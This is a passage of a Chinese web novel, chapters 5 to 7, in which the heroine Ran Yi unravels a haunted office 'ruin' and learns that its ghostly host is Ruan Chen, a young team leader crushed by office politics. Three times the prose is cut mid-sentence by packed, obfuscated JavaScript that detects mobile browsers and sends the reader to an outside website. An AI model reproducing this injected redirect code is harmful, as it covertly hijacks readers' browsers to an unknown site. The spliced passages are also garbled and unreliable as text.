冉亦认出了这个西装男就是最开始那个接电话的人，不过他换了一套衣服，虽然都是西装，但一开始那套是黑色，现在的则是深蓝色。 不，不止是衣服，冉亦凑近了仔细打量他，察觉到此时的男人比她一开始看到他的时候似乎要更年轻一些。当时他从她身边经过，在一个很近的距离，她留意到他的鬓边已经隐约生了几缕银丝，但眼前的这位还是一头茂密的黑发。 时间线向前推移了。 “打算安排谁进我的组？”他对面的女人开口问他。 西装男：“还没定。你有什么考虑？” 黑裙女：“最好给个男生吧，组里女的多平衡一下。不过现在急需人手，有就比没有强。” 西装男：“好，那我这两天综合考虑情况，尽快安排。” 黑裙女：“我没问题，你看着挑。” 冉亦默默听完这段对话，这时门口突然响起了敲门声。 “陈经理。叶组长。” 站在门口的是一个年轻男生，看起来比冉亦没大多少，应该是刚大学毕业参加工作不久的新人。“您要的材料。” 西装男：“放这儿吧。” 门口的男生却迟迟没有动作。冉亦站在房间的角落，从她的角度能同时看到门口的男生、办公室里的西装男和黑裙女，他们在她同一个视线画面内。但诡异的是，现在画面居然静止了。 “滋滋——” 突然，灯开始闪烁，一道炫目的光突然从她眼前晃了晃，等她回过神来，发现自己居然又回到了办公室门口。 “新招进来的这一批实习生都素质都还不错。” 这次她在门口听到了黑裙女的声音。 冉亦瞳孔一震，她连忙看向办公室内部—— 这一次，黑裙女坐在了在办公桌后面，而她对面沙发上坐着的西装男正准备说出下一句台词。 西装男：“打算安排谁进我的组？” 黑裙女：“还没定。你有什么考虑？” 西装男：“最好给个男生吧，组里女的多平衡一下。不过现在急需人手，有就比没有强。” 黑裙女：“好，那我这两天综合考虑情况，尽快安排。” 西装男：“我没问题，你看着挑。” 又开始了……又开始了！又是在她以为自己正在接近关键线索、马上就要有新的突破和进展时，紧接着就出现了一个角色互换的重复场景。这样的精神污染让人忍不住感到烦乱和焦躁，仿佛她面对的是一个永远无法走出的漩涡和循环。 “叩叩。” 敲门声落下，年轻的男生正在门口报告：“陈经理。叶组长。您要的材料。” 黑裙女：“放这儿吧。” 门口的男生依然没有动作。画面又一次静止。 冉亦看着他手里抱着的一沓文件，大脑开始飞速地转动。 ——“您要的材料。” ——“放这儿吧。” 您要的材料。放这儿吧。静止的画面。互换的角色。 冉亦看着自己手里的两个笔记本，突然像是想到了什么，她将自己手里的笔记本放在了黑裙女——在上一个场景里还是西装男——的办公桌上。 “嗯。” 黑裙女说话了。她说出了上个场景里西装男没有说过的台词！ “进度条”动了！ 门口的年轻男生也动了，他进了办公室，将手中的文件放在笔记本旁边，“那我先回去了。” 男生放下东西准备离开，刚抬脚正要踏出房门—— “等下，小张。” 突然，西装男叫住了他。 “顺便把小林的笔记本给她带回去吧，她刚才过来汇报，笔记本落在这儿了。” 小林？林小青？ “……好。”被称作小张的男生似乎犹豫了一下，但还是折返回来，拿起桌上的两本笔记，“那我给她送过去。” 他拿起了两个笔记本。 奇怪，他同时拿起了两本？冉亦原本倾向于其中一本是因为产生了角色互换场景才“复制”出来的，也就是“诡异事件”的衍生品。可眼前的情景中，小张居然直接拿起了两个笔记本，难道两个笔记本真的同时存在过？ 但还不及细思，小张已经走出办公室，冉亦不再犹豫，连忙跟了上去。他现在要去给林小青送笔记本，所以她只要跟上他，应该就能找到林小青！ 小张似乎绕了这间走廊整整一圈之后，才在一个办公室门口站定。随着停下脚步，他在门口扬了扬手里的两个笔记本—— “林小青，公司统一发了笔记本，经理让我直接拿两本，把你的也一起领回来了。给你放这了。” 是“发了笔记本”……不是“帮她取回落在办公室的笔记本”！ 时间线再次向前推移了。 经过多次的场景联结，写字楼里的时空终于回溯到了林小青刚刚拿到笔记本的这一刻。 “谢谢。” 办公室里传来了一个温柔的女孩儿声音。紧随其后的是一阵脚步声，那个叫林小青的女生探出了头来。 冉亦与她四目相对。 年轻的女孩静静看着她。 没错，她在看她。她确定林小青正在看自己。冉亦无法形容那是一种什么样的眼神，既像探寻，又很麻木，仿佛一个能将人所有感受和情绪都吸走的黑洞。 “滴。” 突然，冉亦的手环响了一声。这是系统的报时：现在是午夜零点整。 冉亦在出发之前专门研究了房间系统里的一些设置，其中有一项是“绝对时间”，注解为“不论何时，都让宿主能够知道当前时区下的自然时间”。这看起来不过只是最普通的手表功能，而冉亦现在才明白这个设置的作用——当宿主进入遗址时会被卷入“异次元空间”，遗址内的时空独立交错，而这一功能能够时刻提醒宿主现在的真实时间。 现在是零点整。 冉亦在与一个名叫林小青的女生——不，应该说是当前这片遗址的宿主，静静对视着。 “啪！” 突然，整栋楼又陷入一片黑暗。这次的黑比先前别墅第一次灭灯时的黑暗要更黑，黑得就像是陷入了深不见底的深渊。这种黑暗犹如某种粘稠的液体， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468412|169861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要将人完全地淹没，直到让一切生命窒息而死。 冉亦攥紧了拳，指甲几乎要嵌入掌心，强迫自己稳住逐渐剧烈的心跳，小心翼翼地吐气、呼吸。不能慌。 呼吸。缓慢地呼吸。 冉亦试着去平稳自己，可身体仍有些止不住的发抖。她知道深不见底的黑色潮水正在将她整个人吞噬，裹挟而来的是潮水中浓烈的、无法消弭的绝望。 “……林小青。” 冉亦试着去叫她的名字。不能被恐惧牵着走，她需要想办法唤醒和寻找突破口。 “这间办公室好恐怖啊。” 突然，黑暗中的“林小青”回应了她。 “这间办公室闹鬼……这间办公室闹鬼……” 随着林小青这句话在耳边回荡，灯缓缓亮了，冉亦眯着眼睛看，她现在已不在走廊，而是正在一间大办公室里。 窗外是漆黑的夜色，墙上挂着的钟表显示现在已经是凌晨12点半。林小青小小的身影就埋在最靠近门口的那个工位里，旁边是堆得比山还高的文件。 “啪！” 突然，她旁边工位的文件夹自己掉到了地上。这声响太突然了，把冉亦和正在加班的林小青吓了一跳。 没错，眼前的“林小青”也被吓了一跳。此时的她看上去是那样鲜活，真的很像一个活生生的人，她和冉亦一样，都会被类似“闹鬼”一样的场面“吓一激灵”。 “哒、哒、哒……” 空旷的办公室里忽然响起了沉重的脚步声，可林小青是坐在工位上的，她的脚根本就没有动。 办公室真闹鬼？ 而且不知道是不是冉亦的错觉，她觉得这个办公室似乎正在变得越来越冷。窗户是紧关着的，空调也没有开，可不知道是从哪里吹来的阴风，丝丝入骨地渗透进来，令人寒毛直竖。 “滋滋——滋滋——” 灯也开始忽明忽灭地闪烁，整个房间似乎都在逐渐被黑暗吞噬。电流的噪音仿佛正试图以某种诡异的频率击穿人的神经系统，带来难以言喻的焦躁、惶恐与不安。 冉亦很难受，非常难受。此时此刻她似乎是与林小青感受相连的，她正在体会曾经的林小青所感受的恐惧与压抑。 “吱呀——” 突然，办公室紧闭的房门被人从外面打开了一条缝儿。 “小青？” 是一道温和的男性嗓音。随着门外的人推门而入，办公室里的灯突然恢复了正常。他走进来，轻轻带上门。 办公室重新恢复成一个密闭空间。可这次不一样的是，随着眼前的年轻男子进入房间，整个环境的氛围似乎都悄然改变了。 不仅灯恢复了正常，桌上的东西也不再莫名其妙自己动，而最直观的是房间的温度——冉亦能明显感受到刚刚还冷得让人直打哆嗦的房间正在一点一点变得温暖了起来。 来人就像是一道光，仿佛将整间屋子点亮了。 “组长？” 林小青从工位上起身，“您这么晚也还没走？” “别那么客气，直接叫我阮晨就好。”阮晨笑了笑，“而且我说过好多次，不要用‘您’啦，显得我好像很老。” 阮晨确实很年轻，估摸着二十六七岁的样子。不过林小青刚刚叫他“组长”。 冉亦回忆起刚刚西装男和黑裙女对话的场景，当时小张称呼他们为“陈经理”和“叶组长”。哪个是陈经理哪个是叶组长不重要，重要的是那两个人的年龄一看就都在三十五岁以上。 即使当前的时间线又往前推了一点，但从小张变化不大来看，这中间相隔没有多久，所以现在的“叶组长”也是差不多得三十好几的。 那么，如果现在的阮晨也是组长，那他很年轻有为了。 “是敬称啦！” 林小青在面对阮晨的时候似乎变得活泼了些。“你明明只比我大两岁，都当组长了，可我还是菜鸟一个。” 阮晨没跟她来故作谦虚那一套，“我进公司实习早，其实也算组里的老人了。” “难怪有口皆碑呢。”林小青夸赞的语气听起来很诚恳，“组长好优秀，又有能力又有才华，还这么年轻就当上了管理层……” 阮晨笑而不语，但耳根有些泛红，林小青好像把他夸害羞了。 5. 第 5 章 在这间办公室里，阮晨组长带林小青逐渐熟悉起业务工作，有时是当着办公室所有人的面肯定她的成绩给她自信，有时是在深夜加班的时候帮她一起分担。他们也经常聊天，聊工作，聊未来，往事一幕幕如同走马灯。 冉亦默默看着，又或者是在见证这一切。这些场景并不恐怖，甚至很温馨，可她每次看恐怖片的时候其实最想回避的就是回忆里的温馨画面，因为那些片段最后终究要与鬼魂怨气难消的现状形成对比，仿佛预示美好的东西总会消亡，走向腐烂。 阮晨很聪明也很优秀，通过与林小青对话过程中他自身的谈吐、观点，和他做事时体现出的一些细节，冉亦的感受很明显。阮晨名校毕业，大三时进入公司实习，很快从同龄人中脱颖而出，转正后因为业绩出色没多久就超越了很多前辈直接晋升组长，对他评价一句“天之骄子”绝不为过。 而林小青就没那么顺利了，她大学毕业后考研失败，又浪费了应届生身份，能进入这家公司纯属走了大运——当时有个小岗位急招人，进面试的其他几个恰好因为阴差阳错的缘故居然都跑了，最后就招进了林小青。 林小青不止一次表达过，她觉得她和他仅仅两岁的年龄差，仿佛相隔了至少十年的资历和水平差距。 那么，林小青的执念，就是阮晨么？ “我觉得你挺有想法的。” 这天，依然是在一个加班的夜晚，阮晨递给她一瓶冰镇可乐。他在看林小青的一个创意策划案。 “谢谢组长！”林小青接过阮晨手里的可乐，“你好喜欢喝可乐诶。” “是啊，肥宅快乐水。”这是旧日世界里人们对可乐的称呼，冉亦听着竟还感觉有几分亲切。 林小青“咕噜咕噜”喝了一大口，“那这份方案过了？” “当然。”阮晨将文件夹还给林小青，“我觉得你很有悟性，每次我稍微点拨你就知道怎么完善。而且我觉得你每次的创意都很好。” “嘿嘿，都是组长带的好。”林小青说：“最近是进步了很多，可还是跟组长你差距很大呢！” “又夸我。” “真心的。”林小青一边说一边在纸上涂涂写写，时不时还抬头看他一眼。阮晨好奇地低下头，“你在画画？” “是啊。”林小青将画完的画递给阮晨：“你看。” 阮晨观摩了林小青的“大作”，很诚恳地点评道：“不错嘛，很有个性。魔鬼撒旦执起欲望的权杖，在地狱熊熊燃烧的烈火中冷眼嘲笑着世人的愚蠢。” “呃，画的是你在喝可乐……” “……” 给站在一边旁观的冉亦都看乐了。 林小青的画风的确很独特，整个画面都有种压抑阴湿的恐怖感，但从艺术审美来看，冉亦又觉得林小青是有才华和天赋的。天才与疯子一线之隔，不够疯狂的人很难成为天才。 阮晨：“嗯，虽然没想到这是我……但你画得很棒。不过倒是没看出来你喜欢这种诡异恐怖的画风。” “你不觉得，其实这个世界的底色本来就是恐怖的吗。”林小青靠在工位的挡板前，似乎在很认真地跟阮晨探讨这个问题。“也许我们看到的平常，其实才是被粉饰过的样子。那么，恐怖就并不是被人为塑造的，而是剥离了表面，露出它的本质。” 阮晨闻言先是一愣，接着，他的眼睛里流露出一抹惊叹之色。 “很有趣的观点。” “小时候我一直很想当漫画家。”这似乎是林小青第一次在阮晨面前提起自己的梦想，也许来自冰镇可乐的微醺，也或许来自今天阮晨的那句“我觉得你挺有想法的”。总之，这个夜晚她向他披露了心扉。 “我想把那些画出来——以恐怖为底色，以诡异为秩序，以荒诞为本质——画出这个世界另一面的故事。我想成为有名气的漫画家，想与世人分享我的感受，再从公众对我作品的解读里，反向去寻找基于我笔下‘另一面’的世界背后，其他无数个‘另一面’。你懂我吗？” 大概是第一次一口气说出这么多心里话，林小青的小脸因为兴奋而变得红扑扑的。 “我懂你。”阮晨说：“你真的可以，我觉得你有天赋。你的想法让我很惊艳，我觉得你以后一定会成为一名很棒的漫画家。” 林小青的眼睛亮晶晶的，“真的吗？” “真的。”阮晨笑起来时有一个浅浅的小酒窝，就和他耐心教导她时的嗓音一般温柔。 “我相信你想要的都会实现。” 冉亦听到这句话时大脑突然绷紧了那根弦，那是写在林小青笔记本上的句子，也是她要从眼前这些情境中寻找答案和出路的关键线索。 “你让我想起了大学时候，我们一个小组去采风做新闻的日子。”他说：“那个时候我也常常为了一个既新颖、又能体现社会与人性的选题而绞尽脑汁，不过最终完成一部作品的成就感也是无可替代的。” “难怪组长的策划案总是视角很特别。”林小青说：“就好像明明都是差不多的东西，但就那一点点说不上来的差别，就是让人会感觉到，你是走在潮流前沿的人，对出现的任何新事物和新元素的把握总是很迅速，然后结合起来就比别人更加独特和新颖……哎呀，我词穷，说得有点混乱。我只想表达，我觉得你很厉害。” 阮晨又被反夸了，耳朵上冒出一点红尖尖。白皙的皮肤在泛红的时候显色会更明显。 阮晨：“公司里厉害的人很多。” 林小青：“组长你就是最厉害的！” 阮晨：“真的假的。” 林小青：“真的！厉害的人不管做什么都很厉害，组长就是这样。” 这俩人像进了“夸夸群”似的，互相情绪价值拉满。可他们的表情和语气又是那样真诚，看不出一点奉承痕迹，像双方真的在彼此眼中看到了自己内心深处最想成为的那个自己。 办公室灯光渐暗，眼前的阮晨和林小青也凝固住了动作，这一刻就像幻灯片里缓慢的渐退，而冉亦的神经再次紧绷了起来。她知道这场电影里温馨的回忆即将结束，马上她又要面对绝望与恐怖的部分。 到底为什么会变成后来的样子？林小青后面到底经历了什么？ 光线一点一点消失，冉亦试着去感受空气中弥漫的情绪。是迷茫吗？是痛苦吗？她再次沉浸在黑暗中，而这次等她再睁眼，她发现自己正坐在会议室的主位上。 “陆经理。” 不算冉亦的话，会议室里现在正坐着四个人。都是陌生的脸庞，没有在之前的任何一个场景里出现过。两男两女。 他们叫她“陆经理”。这次她不再是旁观的透明人，而是扮演了“陆经理”这个角色？ “陆经理，您觉得咱们这次推荐谁合适？”坐在她右侧的戴着眼镜的男人问她。 冉亦低头，看见自己面前正摆着几本资料。第一本资料是阮晨的，里面是他的个人简历和这些年来的工作业绩。第二本资料的封面显示是林小青的，可里面却是空白的，什么都没有。 第三本资料就更让人摸不着头脑了，“路人甲”——没错，显示的就是这个名字，来自一个路人甲。里面的内容也是空的。 再看第四本——“路人乙”，内容仍旧是一片空白。这一切看起来真的很荒谬。 冉亦忍不住皱起了眉头。突然灯光闪烁了一下，把冉亦弄得晃了一下神。 “陆经理。” 冉亦这次听见的是女人的声音。 她一下子回过神，看见自己面前的四个人已经换了位置。这次坐在她右侧的已经变成了最开始坐在她左侧的那个棕色卷发的女人，女人重复了刚刚眼镜男的台词：“您觉得咱们这次推荐谁合适？” ——角色互换场景的污染又一次开始了。 随着这句话落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468413|169861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，办公室的门突然开了。冉亦的视线望过去，门后是一片看不清的黑雾。整间会议室就像是一个被遗弃在无限黑暗中的独立空间。 “呲啦——” 一阵刺耳的推拉声从门外传来，有什么东西正在被缓缓“推”入门内。冉亦盯着门口，看见一个和门框长度、宽度接近的黑色盒子逐渐浮现出面目。 看清那东西后冉亦忍不住瞪大了眼睛——那竟然是一口立着的棺材！ 谁死了？ 她低头看着面前的四本简历，只有阮晨的后面是有内容的，其他三本都是空白。难道……阮晨死了？ 难道这就是林小青最终“黑化”的真相吗？ “陆经理。” 棺材吸引了冉亦的注意力，等她听见第三个人的声音重新将视线聚焦到会议桌，这才发现不知何时他们已经又一次换了位置，好像是他们四人逆时针在轮座位一般，这次坐在她右侧的人又开口了： “您觉得咱们这次推荐谁合适？” 四个人都在面无表情地看着她。 冉亦听到了自己的心跳。 她有一种感觉，好像自己正在尝试去解开一道难题，从她进入写字楼里的空间，到捡到林小青的笔记本、看见办公室里的西装男和黑裙女、见证林小青和阮晨相处的过往——这些是所有的“已知条件”，以某种特殊的逻辑和关联方式，已经全部呈现在了她眼前。 而现在，到了她“回答问题”的时候了。 冉亦缓缓闭上眼睛。 “陆经理。” 第四个人，也就是最后一个人呼唤了她。 “您觉得咱们这次推荐谁合适？” 冉亦睁开眼，果然，他们又换了一次位置，如果再换一次那四个人就会重新回到原来的位置上了——而直觉告诉她，她必须要在这个“角色轮回”彻底完成前做出决定，否则任务就会失败。 阮晨。林小青。路人甲。路人乙。 恐怖与温情并存的氛围容易让人变得感性，但冉亦强迫自己冷静下来，她必须保持思路的清晰。她需要梳理清楚当前所有的信息，推理出这场死局中唯一那条生路。 她在脑海中尝试无数个假设，将自己代入她在这片遗址空间中见过的每一个角色。林小青。阮晨。丢笔记本的娇小女生和模特女郎。分别是陈经理和叶组长的西装男和黑裙女。帮林小青拿笔记本的小张。 以及，从一开始就反复出现如同精神污染般的，角色互换。 “陆经理……” 冉亦抬眸，看见门口的棺材移动了。它在离自己越来越近。是不是等它完全移动到自己面前，她就会被它“吃”进去？ 排除完所有的假设，冉亦终于只剩下了最后一个答案。 她缓缓拿起阮晨的资料，却没有说出选择，而是将他后面的所有内容撕了下来，扔进了垃圾桶。 她再打开其他三本资料：林小青的依然是一片空白，只是那白纸似乎变皱了，好似沾染了谁的泪痕。而路人甲和路人乙的两本资料里则突然出现了文字，厚厚一沓的工作业绩，和阮晨被撕得几乎什么都不剩的残破资料形成鲜明对比。 “……根据实际表现，”冉亦犹豫了一下，觉得作为“陆经理”的自己或许还是应该加上类似这样一句“开场白”，才能让场景更好地还原。“就选择路人甲和路人乙吧。” 当她说到最后的时候，她感觉自己的声音已经有些颤抖。或许她的心也在颤抖。从她进入对方的房间遗址，她便感受到在这被遗忘的空间之下宿主的情绪——绝望、不甘、怨恨，以及……遗憾。 现在，会议室里的人消失了，当前的空间里只剩下了这口棺材。棺材的盖子缓缓打开，宿主从棺材里走了出来，走到她面前。 冉亦听见了自己呼吸加速的声音。她没猜错。 ——这片遗址的宿主并不是林小青，而是阮晨。 6. 第 6 章 阮晨此时的样子和冉亦之前在回忆片段里见到的样子并没有很大差别。他只是脸色更苍白了些。 冉亦忍不住呼吸一滞。这意味着，他死去的时候还是那么年轻。 “你好……阮组长。” “我已经不是组长了。”他淡淡说出这句话，仿佛在谈论别人的事情，好像那些让他不愉快的经历已成为过眼云烟，而他早已释怀。 但冉亦知道事实并非如此，因为如果他真的释怀了，他的房间系统就不会化作遗址，不会像这样不断释放精神污染，引导踏足的人迷失。 “在林小青心里，你永远都是她的阮组长。”她说：“任何人都无法取代你。” 阮晨自嘲地笑了，“在这个世界上，谁又是真正不可替代的。” 人生就如同一场戏剧，没有哪个角色必须由哪个人来演。每一个人都不过只是被命运摆弄的演员罢了。 …… 起初，冉亦以为房间遗址的宿主是林小青，因为她是第一个出现名字的人物。但后来她重新梳理思路，总结出了规律：在阮晨出现之前，其他人物都是像在做一场“接力”一样，遵从某种特定的秩序，直到一步一步引出阮晨。 当然，林小青也是重要的角色——她是他短暂的二十多年人生里，体现存在意义的重要锚点。 冉亦想，或许她代入林小青的视角去解读他，能够让他更感同身受。所以…… “阮组长……请允许我继续这样称呼你。”冉亦感觉自己发出的声音似乎有些艰涩：“也许我的推导未必全部准确，甚至不免有自以为是之处。如果我冒犯了你，你随时可以叫停我、反驳我。” 冉亦其实并不愿这样尖锐地剖析他人，可她现在只能这么做。阮晨的房间已经在极端的执念之下化为遗址，遗址中释放的精神污染在影响活着的人。而她现在需要解开这道谜题，才能救出自己，也或许才能真正“度化”他。 冉亦拿起手中那本资料，里面白纸黑字印着的是阮晨的履历。而从时间的维度来看，那就是他的人生。 “旧历某某年，你从国内顶尖的大学毕业。有名校光环加持，你进入这家公司从实习到转正都很顺利。” 冉亦娓娓道来，就像福尔摩斯已经串起案件里的所有线索，到了最后呈现推论还原真相的时刻。 “那一年，你大概只有二十出头，少年人意气风发，心中理想比天更高。你既聪明又努力，也在工作初期就品尝到了付出得到回报的滋味——就像林小青多次强调的，你凭借出众的业务能力成为了部门里最年轻的组长，你的才华与潜力有口皆碑。 “你坦然接受着这一切，坚定不移相信了这个世界对人才的评价体系。这些年来，或许你也曾怀疑和迷茫过，因为牛马、社畜这些名词的兴起一度指向了打工人不该真情实感对待工作的政治正确。可每当你以超越同期甚至前辈的能力完成一个项目时，那个结果带给你的获得感又是如此真实，真实得就像学生时代你考取的每一个年级第一名——在身边有人无论怎样都看不进书、做不会题，有人甚至比你更努力都无法取得这样的成绩时——你知道你做得到。 “再后来，林小青进入了公司。她被分配到了你的组里。起初她大概是不受待见的，和同龄女生相比她大概性格内向甚至孤僻、不合群，甚至还可能遭受过职场霸凌。西装男让小张帮她把笔记本带回去，那个转瞬即逝的犹豫暴露了小张一点也不愿与林小青有任何接触。而他还只是个资历最浅的年轻人，可想而知其他人会怎样排挤她。 “而我遇到的在扔她笔记本的女孩——那个场景一开始误导了我，我以为那是因为这里存在某种类似‘林小青笔记本怪谈’一样的诅咒。可真实的原因却是在后面才出现的：林小青热爱恐怖漫画，她的本子上有她恐怖画风的创作，吓到了不小心捡到它的人。加之林小青本来人缘就不好，捡到她的女生甚至不愿意去还给失主，而是像摆脱瘟疫一样直接丢进了垃圾桶。 “在你的故事里，一个喜欢恐怖漫画的‘别人’似乎并不重要，可事实却正好相反：她很重要。你不仅影响了她，她也在无形中渗透了你。 “你发现了她的才华，没有像其他人一样歧视她过于孤僻的性格，而是耐心地带她，在工作上帮她树立自信，听她聊起当漫画家的梦想，感受她对恐怖艺术的理解。她的恐怖创作灵感来源于现实，‘闹鬼的办公室’——也许是她某个潦草的创作草稿——就是她内心对所处环境压抑与不安的投射。这也是为什么后来你进来的时候，一切都变得和谐了，恐怖的氛围消失了，因为身为组长的你不仅给了她鼓励和安慰，无形中也通过这个有一定话语权的身份守护了她。 “而在你关照她的同时，林小青也像你赏识她一样崇拜着你。你内心深处隐秘的胜负欲与每次取得成就时那一丝微妙的、羞于启齿的满足感被这个平时既不爱说话、也不会奉承的女孩一次次重复出来，她对你的赞美强化了你对自己的身份认同，你渴望向这个世界证明自己，而林小青那双纯粹的眼睛则给了你答案：你不仅做到了，而且你的能量还在影响着身边的人。你希望林小青越来越好的同时也坚信自己会越来越好，你认为你们的未来都是那样光明和充满斗志。 “直到……部门换了领导，而新领导打算捧他的嫡系上位。 “我一开始见到的是陈经理，可最后那一幕我代入经理角色的时候，他们却叫我陆经理，说明领导换人了。而那两本资料的主人路人甲和路人乙，听起来多么不起眼，在这个情景下似乎只是随意的取名，但其实不然，因为新经理姓陆，刚好与路同音——我相信在这片属于你的空间中你不会设定任何没有意义的细节——在这里，同音的姓氏隐喻了他们就是领导的嫡系。 “在某次推荐中——具体是什么机遇现在来看早已不再重要，但在那时那大概是很珍贵的资源，名额有限，应当给平日里最被看好的人。你自然要为自己争取，你对自己平时的业绩和口碑也胸有成竹。可没想到，最后正是你没有放在眼里的路人甲和路人乙得到了机会，而你则从这次的竞争失利开始逐渐跌下神坛。 “失去优势的你也许期待身边有人至少为你抱一声不平，可老油条们都是如此精明，他们看得出新领导的心偏向哪边，所以在他们嘴里，不仅路人甲和路人乙获得一切是实至名归，就连你过往的成绩也被强行降低含金量，甚至被直接抹去。就这样，新领导用资源、同事用口碑共同重塑了年轻一代角色定位的新格局。” 说到这里冉亦忍不住停下，她观察着阮晨脸上的表情。对方的眼神是淡淡的，他看起来很平静，只是——白皙的皮肤在泛红时显色会更明显，他羞涩的时候是这样，眼眶周围泛起情绪的时候也是这样。 冉亦并不想继续说下去了，这段剖白是她一个人的独角戏，却是在讲述一位天之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468414|169861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骄子的陨落。 可她必须要讲完。 “你的少年意气坍塌了，破碎了。你突然找不到自己的定位，突然看不到自己奋斗多年的意义。这么多年来你的精神信仰支撑着你心甘情愿熬过无数个加班的深夜，那给了你一种错觉，让你认为自己不同于那些纯粹做着无意义劳动只为赚钱养家糊口的芸芸众生，而是走在一条名为‘自我实现’的路上。 “可是，区别又是什么呢？到底要出色到怎样的程度，才能让自己不会轻易被人替代？到底要比其他人走多长、多远、多坎坷的路，才能在这个名为人生的舞台上真正拥有属于自己的角色？” 冉亦似乎是在问阮晨，又似乎是在代替阮晨向这个世界发问。 阮晨艰涩地笑了。“是啊，没有区别的，原来没有区别。” 短暂的胜利和满足也只是假象，他们只是在这一刻需要这样一个角色。一朝天子一朝臣，是你可以，是他也可以。 是谁又有什么差别。 在滚滚向前的时代洪流中，每个人都像浪花一样微不足道，每一个角色都是如此渺小。曾梦想踏着翻滚的巨浪直上云霄，登顶天宫为这个世界建立一个全新的秩序，却在溺水时才发现，原来连想抓住一根自救的芦苇都是如此遥不可及。 人物之间互换角色的精神污染规律，是阮晨失去自我身份认同的痛苦被具象化后，为“他的房间”塑造的秩序。 …… 【警报！警报！】 阮晨的房间系统内部在闪现红色的警报光条：【警报！宿主精神波动已超过安全值，房间能源消耗功率将指数翻倍。】 阮晨低垂着眸子，他觉得天空是黑色的。在最后的时刻他想起的是学生时代自己每一张漂亮的成绩单，他曾经为取得它们而感到骄傲，如今他却那样痛恨它们——如果他从未享受过依靠聪明与努力收获成绩的满足感该多么好啊，他想做一个平凡的人，一直、一直很平凡，这样他就会变得更聪明，普通人被困难重重的工作打击过几次就能看清的真相，他就不会耗尽了一整个意气风发的岁月才看得见。 【当前能源消耗功率：1000/日】 【当前能源消耗功率：2000/日】 【当前能源消耗功率：4000/日】 …… 【警报！警报！房间续航已低于48小时，即将开启低功率模式。】 【低功率模式启动失败。】 【房间系统即将崩溃。】 阮晨躺在地板上，第一次觉得系统的声音那么聒噪——那明明是他自己的音色。 他记得那天他并没有挣扎和痛苦很久，很快，整个世界就安静了下来。 他感觉自己漂浮在黑色的潮水里，是冷的，没有温度。而他正在与这片黑海逐渐融为一体，随着房间系统一同被抛弃在时间与空间的尽头。他忘记他什么时候再次沾染了人间的气息，而他的执念又是从何时起开始变成了精神世界的迷宫，污染了一个又一个走进他房间的，活着的人。 现在，自己面前的年轻女孩走到了迷宫的出口。 她看起来好年轻，这个年纪让他想起了自己大学时在每个周末早早起床去图书馆抢座位的日子，他徜徉在智慧的海洋里，摩拳擦掌地期待着每一个朝气蓬勃的明天。 …… “你叫什么名字？”他问。 “冉亦。” 7. 第 7 章 冉亦看到有一束光，从棺材里散发出来。那束光让那口棺材看上去不再阴森恐怖，反而纯洁得像是通往新生的通道。 那束光越来越亮，逐渐晃得她连眼睛都睁不开。 “谢谢你……” 阮晨的声音温柔一如从前。 当光晕散去，世界似乎重新归于了黑暗。 不过这次的黑暗没有持续很久，几秒钟后她听见了房间自动窗帘启动的声音。 “嗡——” 窗外的光线缓缓照射进来。这里不再是旧日世界的写字楼了，她回到了唐小姐的别墅。 吞噬了无数悲伤与绝望的房间熬过了漫长的黑夜，终于在这一刻迎来黎明。 天亮了。 【叮咚——】 系统提示音。是冉亦的房间系统—— 【您已完成任务：收容白鸽街111号遗址。】 【奖励结算中……】 【雪种奖励：6000单位（Lv.1房间标准）】 【房间规模：一居室（+1个子房间）】 【雪种储备：6100单位】 【雪种消耗：100单位/日】 【雪种生产：30单位/日】 冉亦听见系统播报，与一次性获得的6000雪种相比，对她而言最大的收获无疑是收容了第一个子房间，雪种生产功率突破了0——从现在开始她的房间系统有了“挂机收入”。 奖励似乎很丰厚，但冉亦没有听到这价值600万币的雪种“巨款”就欣喜若狂。这次收容阮晨的子房间，她得到雪种奖励的同时也了解到了一个信息：房间系统并非焦墟时代才出现的，而是更早就有。 她推测，房间系统的驱动能源有可能是随着时代变化而变化的，但底层逻辑相同，都是为宿主提供另一条途径——区别于这个时代普通人的标准模式——来“养房子”。 阮晨的房间系统并非以雪种作为驱动能源，他养房子的方式可能是通过特殊任务来代替……还房贷？旧日世界的人们为了买一栋房子，普遍背负着巨额的贷款。所以阮晨供养房间系统的能源单位，会不会是某种称作“贷款抵消金”或者“房屋购买券”之类的东西？名字是她随便想的，她觉得概念上可能大差不差。 虽然解开了第一道遗址的谜题，但有关房间系统本身的谜团又进一步加深了。 【叮咚——】 突然，系统再次发出播报—— 【您已解锁个人技能：速读。】 【速读：您的阅读速度和理解能力是普通人的3倍。即使是最复杂的说明书，您也能在快速浏览的状态下掌握其大意；即使是面对海量的、碎片化的、纷繁复杂的信息，您依然能够高效、准确地提炼内容，找出问题的关键。】 